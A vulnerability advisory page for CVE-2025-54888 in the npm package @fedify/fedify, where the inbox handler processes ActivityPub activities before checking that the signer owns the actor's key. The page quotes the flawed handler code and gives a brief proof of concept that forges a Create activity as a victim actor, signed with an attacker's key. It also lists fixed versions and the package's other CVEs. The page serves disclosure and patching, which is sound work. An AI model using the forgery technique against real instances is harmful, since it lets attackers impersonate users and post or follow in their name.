High

@fedify/fedify has Improper Authentication and Incorrect Authorization

  • Disclosed: 08.08.2025
  • Updated: 11.10.2026 10:22

Summary

An authentication bypass vulnerability allows any unauthenticated attacker to impersonate any ActivityPub actor by sending forged activities signed with their own keys. Activities are processed before verifying the signing key belongs to the claimed actor, enabling complete actor impersonation across all Fedify instances

Details

The vulnerability exists in handleInboxInternal function in fedify/federation/handler.ts. The critical flaw is in the order of operations:

  1. Line 1712: routeActivity() is called first, which processes the activity (either immediately or by adding to queue)
  2. Line 1730: Authentication check (doesActorOwnKey) happens AFTER processing
ts
  // fedify/federation/handler.ts:1712-1750
  const routeResult = await routeActivity({  // ← Activity processed here
    context: ctx,
    json,
    activity,
    recipient,
    inboxListeners,
    inboxContextFactory,
    inboxErrorHandler,
    kv,
    kvPrefixes,
    queue,
    span,
    tracerProvider,
  });

  if (
    httpSigKey != null && !await doesActorOwnKey(activity, httpSigKey, ctx)  // ← Auth check too late
  ) {
    // Returns 401, but activity already processed
    return new Response("The signer and the actor do not match.", {
      status: 401,
      headers: { "Content-Type": "text/plain; charset=utf-8" },
    });
  }

By the time the 401 response is returned, the malicious activity has already been processed or queued.

PoC

  1. Create an activity claiming to be from any actor:
ts
  const maliciousActivity = {
    "@context": "https://www.w3.org/ns/activitystreams",
    "type": "Create",
    "actor": "https://victim.example.com/users/alice",  // Impersonating victim
    "object": {
      "type": "Note",
      "content": "This is a forged message!"
    }
  }
  1. Sign the HTTP request with attacker's key (not the victim's):
ts
  // Sign with attacker's key: https://attacker.com/users/eve#main-key
  const signedRequest = await signRequest(request, attackerPrivateKey, attackerKeyId);
  1. Send to any Fedify inbox - the activity will be processed despite the key mismatch.

Impact

Type: Authentication Bypass / Actor Impersonation

Who is impacted: All Fedify instances and their users

Consequences: Allows complete impersonation of any ActivityPub actor, enabling:

  • Sending fake posts/messages as any user
  • Creating/removing follows as any user
  • Boosting/sharing content as any user
  • Complete compromise of federation trust model

The vulnerability affects all Fedify instances but does not propagate to other ActivityPub implementations (Mastodon, etc.) which properly validate before processing.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @fedify/fedify < 1.3.20, >= 1.4.0-dev.585, < 1.4.13, >= 1.5.0-dev.636, < 1.5.5, >= 1.6.0-dev.754, < 1.6.8, >= 1.7.0-pr.251.885, < 1.7.9, >= 1.8.0-dev.909, < 1.8.5 1.3.20, 1.4.13, 1.5.5, 1.6.8, 1.7.9, 1.8.5

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-287, CWE-863
Platform
npm
Package
@fedify/fedify
Disclosed
08.08.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-6jcc-xgcr-q3h4 - CC BY 4.0

Vulnerability history: @fedify/fedify

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
7
First → latest
07.2024 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 5
  • Medium 2

Disclosures per year

  1. 2024: 1
  2. 2025: 3
  3. 2026: 3
  1. High · 8.6 CVE-2026-50131 >= 0.11.2, < 1.9.12, >= 1.10.0, < 1.10.11, >= 2.0.0, < 2.0.19, >= 2.1.0, < 2.1.15, >= 2.2.0, < 2.2.4 1.9.12, 1.10.11, 2.0.19, 2.1.15, 2.2.4
  2. High · 7.0 CVE-2026-42462 >= 2.2.0, < 2.2.3, >= 2.1.0, < 2.1.14, >= 2.0.0, < 2.0.18, >= 1.10.0, < 1.10.10, < 1.9.11 2.2.3, 2.1.14, 2.0.18, 1.10.10, 1.9.11
  3. High · 7.5 CVE-2026-34148 < 1.9.6, >= 1.10.0, < 1.10.5, >= 2.0.0, < 2.0.8, >= 2.1.0, < 2.1.1 1.9.6, 1.10.5, 2.0.8, 2.1.1
  4. High · 7.5 CVE-2025-68475 < 1.6.13, >= 1.7.0, < 1.7.14, >= 1.8.0, < 1.8.15, >= 1.9.0, < 1.9.2 1.6.13, 1.7.14, 1.8.15, 1.9.2
  5. @fedify/fedify has Improper Authentication and Incorrect Authorization this entry
    High CVE-2025-54888 < 1.3.20, >= 1.4.0-dev.585, < 1.4.13, >= 1.5.0-dev.636, < 1.5.5, >= 1.6.0-dev.754, < 1.6.8, >= 1.7.0-pr.251.885, < 1.7.9, >= 1.8.0-dev.909, < 1.8.5 1.3.20, 1.4.13, 1.5.5, 1.6.8, 1.7.9, 1.8.5
  6. Medium · 5.4 CVE-2025-23221 >= 1.0.13, < 1.0.14, >= 1.1.10, < 1.1.11, >= 1.2.10, < 1.2.11, >= 1.3.3, < 1.3.4 1.0.14, 1.1.11, 1.2.11, 1.3.4
  7. Medium · 7.2 CVE-2024-39687 < 0.9.2, >= 0.10.0, < 0.10.2, >= 0.11.0, < 0.11.2 0.9.2, 0.10.2, 0.11.2

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.